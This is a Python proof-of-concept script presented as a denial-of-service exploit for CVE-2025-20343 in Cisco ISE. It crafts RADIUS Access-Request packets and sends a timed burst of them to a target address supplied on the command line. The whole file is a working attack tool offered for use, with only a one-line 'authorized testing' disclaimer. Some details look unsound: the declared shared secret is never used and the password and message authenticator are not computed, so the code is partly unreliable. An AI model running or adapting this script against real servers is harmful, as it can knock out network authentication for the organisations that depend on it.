#!/usr/bin/env python3
"""
CVE-2025-20343 PoC - Cisco ISE RADIUS DoS Exploit
This PoC demonstrates sending crafted RADIUS access requests to trigger
the denial of service condition in Cisco ISE.
WARNING: This code is for educational and authorized security testing only.
"""
import socket
import struct
import random
import time
def build_radius_packet(username, mac_address, request_id=1):
"""Build a RADIUS Access-Request packet"""
# RADIUS packet header: Code(1) + ID(1) + Length(2) + Authenticator(16)
code = 1 # Access-Request
authenticator = bytes(random.getrandbits(8) for _ in range(16))
# Build attributes
attributes = b''
# User-Name attribute (Type 1)
username_bytes = username.encode()
attributes += bytes([1, len(username_bytes) + 2]) + username_bytes
# User-Password attribute (Type 2)
password = b'password'
password_padded = password.ljust(16, b'\x00')[:16]
attributes += bytes([2, len(password_padded) + 2]) + password_padded
# Calling-Station-Id attribute (Type 31) - MAC address
mac_bytes = mac_address.encode()
attributes += bytes([31, len(mac_bytes) + 2]) + mac_bytes
# NAS-IP-Address attribute (Type 4)
nas_ip = bytes([10, 0, 0, 1])
attributes += bytes([4, 6]) + nas_ip
# NAS-Identifier attribute (Type 32)
nas_id = b'CiscoISE'
attributes += bytes([32, len(nas_id) + 2]) + nas_id
# Message-Authenticator attribute (Type 80)
msg_auth = bytes([80, 18]) + bytes(16)
attributes += msg_auth
# Calculate total length
total_length = 20 + len(attributes)
# Build packet
packet = bytes([code, request_id]) + struct.pack('!H', total_length) + authenticator + attributes
return packet
def exploit_cisco_ise(target_ip, target_port=1812, mac_address='00:11:22:33:44:55'):
"""
Send crafted RADIUS requests to trigger CVE-2025-20343
Args:
target_ip: Cisco ISE server IP
target_port: RADIUS port (default 1812)
mac_address: Target MAC address to use in requests
"""
print(f"[*] Starting CVE-2025-20343 exploit against {target_ip}")
print(f"[*] Target MAC: {mac_address}")
# Shared secret for RADIUS (default or known secret)
shared_secret = b'Secret'
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
# First, send a request to establish the endpoint as rejected
print("[*] Step 1: Sending initial RADIUS request...")
packet1 = build_radius_packet('test_user', mac_address, request_id=1)
sock.sendto(packet1, (target_ip, target_port))
# Wait a moment
time.sleep(0.5)
# Send multiple crafted requests to trigger the vulnerability
print("[*] Step 2: Sending crafted RADIUS request sequence...")
for i in range(10):
packet = build_radius_packet('test_user', mac_address, request_id=i+2)
sock.sendto(packet, (target_ip, target_port))
time.sleep(0.2)
print(f"[*] Sent packet {i+1}/10")
print("[+] Exploit sent. If vulnerable, Cisco ISE should restart.")
except socket.error as e:
print(f"[-] Socket error: {e}")
finally:
sock.close()
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='CVE-2025-20343 PoC')
parser.add_argument('target', help='Target Cisco ISE IP address')
parser.add_argument('--port', type=int, default=1812, help='RADIUS port')
parser.add_argument('--mac', default='00:11:22:33:44:55', help='Target MAC address')
args = parser.parse_args()
exploit_cisco_ise(args.target, args.port, args.mac)